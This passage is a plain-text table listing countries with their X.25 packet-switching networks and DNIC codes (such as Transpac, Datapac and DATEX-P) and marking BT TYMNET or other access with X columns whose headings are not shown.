‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bahrain | || 4263/BAHNET >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Barbados | || 3423/IDAS >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Belgium | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Belgium | || 2062/DCS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Belgium | || 206/DCS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Belgium | || 2069/DCS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bermuda | || 3503/Bermudanet >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Brazil | || 7240/Interdata >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Brazil | || 7241/Renpac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cameroun | || 6261/Campac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Canada | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Canada | || 3020/Datapac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Canada | || 3025/Globedat >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Canada | || 3028/CNCP‑PACKET>> | |

| || Network >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Canada | || 3029/CNCP‑INFO >> | |

| || SWITCH >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cayman Islands | || 3463/IDAS >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chile | || 3104/Entel >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chile | || 7302/Entel >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chile | || 7303/Chile‑PAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chile | || 7305/VTR >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

China | || 4600/PTELCOM >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

China | || 4602/CHINAPAK >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Columbia | || 7320/DAPAQ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Columbia | || 7322/COLDAPAQ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Costa Rica | || 7122/RACSAPAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Costa Rica | || 7129/RACSAPAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cyprus | || 2802/Cytapac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cyprus | || 2803/Cytapac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cyprus | || 2808/Cytapac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cyprus | || 2809/Cytapac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Denmark | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Denmark | || 2382/Datapak >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Denmark | || 2383/Datapak >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Djibouti | || 6328/Djipac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dominican Rep | || 3700/UDTS‑I >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Egypt | || 6020/ARENTO >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Egypt | || 6023/EGYPTNET >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Faroe Islands | || 2881/Faroepac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Finland | || 2442/Datapak >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

France | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

France | || 2080/Transpac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

France | || 2081/NTI >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fr Antillies | || 3400/Dompac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fr Guiana | || 7420/Dompac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fr. Polynesia | || 5470/Tompac >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Gabon | || 6282/Gabonpac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Germany F.R | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Germany F.R | || 2624/DATEX‑P >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Greece | || 2022/Helpak >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Greece | || 2023/Hellaspac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Greenland | || 2901/KANUPAX >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Guadeloupe | || 3441/ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Guam | || 5351/PCINET >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Guatemala | || 7043/GAUTEL >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Honduras | || 7080/HONDUTEL >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hong Kong | || 4542/INTELPAK >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hong Kong | || 4545/DATAPAK >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hong Kong | || 4546/DATAPAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hungary | || 2160/NEDEX >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hungary | || 2161/DATEX >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Iceland | || 2740/Icepak >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

India | || 4042/GPSS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Indonesia | || 5101/SKDP >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ireland | || 2724/Eirpac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Israel | || 4251/Isranet >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Italy | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Italy | || 2222/Darbo‑Ital >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Italy | || 2227/Italcable >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ivory Coast | || 6122/SYTRANPAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Jamaica | || 3380/Jamintel >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Japan | || 4400/Global VAN >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Japan | || 4404/JAIS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Japan | X || 4406/NIS‑ >> | |

| || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Japan | || 4407/ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Japan | || 4401/NTT DDX >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Japan | || 4408/Venus‑P >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Japan | || 4410/NI+CI >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Japan | || 4411/K‑NET >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Korea Rep | || 4501/DACOM‑NET >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Kuwait | || 4190/ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Kuwait | || 4263/KUPAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lebanon | || 4155/RADUS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Luxembourg | || 2704/Luxpac‑X.25>> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Luxembourg | || 2709/Luxpac‑Pad >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Macau | || 4550/Macoupac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Madagascar | || 6360/ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Malaysia | || 5021/Maynet >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Malta | || 2782/Maltapac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mauritius | || 6170/MauriData >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mauritius | || 6171/MauriData >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mexico | || 3340/TELEPAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Morocco | || >> X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mozambique | || 6435/ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Namibia | || 6490/Swanet >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Niger | || 6142/ >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Netherlands | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Netherlands | || 2041/Datanet‑1 >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Netherlands | || 2044/DABAS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Netherlands | || 2049/Datanet‑1 >> | |

| || Memocom >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

N. Antilles | || 3620/LANDSRAIDO >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

N. Marianas | || 5351/PCInet >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

New Caledonia | || 5460/Tompac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

New Zealand | X || 3106/BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

New Zealand | || 5301/Pacnet >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Norway | || 2422/Datapak >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Panama | || 7141/INTEL >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Panama | || 7142/INTELPAQ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Peru | || 3104/IMPACS >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Peru | || 7160/ENTEL >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Philippines | || 5152/Philcom >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Philippines | || 5154/GMCR >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Philippines | || 5156/ETPI >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Philippines | || 5151/CAPWIRE >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Polynesia | || 5470/Tompac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Portugal | || 2680/Telepac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Portugal | || 2682/CPRM >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Puerto Rico | || 3300/WorldCom >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Puerto Rico | || 3301/PRTC >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Qatar | || 4271/DOHPAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Reunion | || 6470/Dompac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

San Marino | || 2922/X NET SMR >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Saudi Arabia | || 4201/Alwaseet >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Saudi Arabia | || 4263/Bahnet >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Senegal | || 6081/Serpac >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Singapore | || 5250/ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Singapore | || 5252/Telepac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

South Africa | || 6550/Saponet >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

South Africa | || 6559/Saponet >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Spain | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Spain | || 2141/TIDA >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Spain | || 2145/Iberpac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sweden | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sweden | || 2401/Datapak >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sweden | || 2402/Datapak >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sweden | || 2403/Datapak >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Switzerland | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Switzerland | || 2284/Telepac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Taiwan | || 4877/ITA >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Taiwan | || 4872/PACNET >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Taiwan | || 4873/DCI Telepac>> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Thailand | || 5200/IDAR >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Thailand | || 5201/Cateng >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tortola, BVI | || 3483/ >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Trinidad | || 3740/Textel >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Trinidad | || 3745/Datanett >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tunisia | || 6050/RED25 >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Turkey | || 2860/ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Turkey | || 2862/IGX >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Turkey | || 2863/Turpac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Turks BWI | || 3763/ >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

UAE | || 4241/ >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

UAE | || 3104/IMPACS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

